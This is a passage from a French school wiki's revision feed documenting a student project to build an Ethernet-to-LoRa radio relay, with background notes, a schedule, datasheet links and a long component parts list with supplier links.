Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, lorsque les fonctions de SPI sont déjà définies dans les fonctions dans la librairie de l'enc28j60 au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
2).&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39213</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39213"/>
				<updated>2017-02-15T16:19:32Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
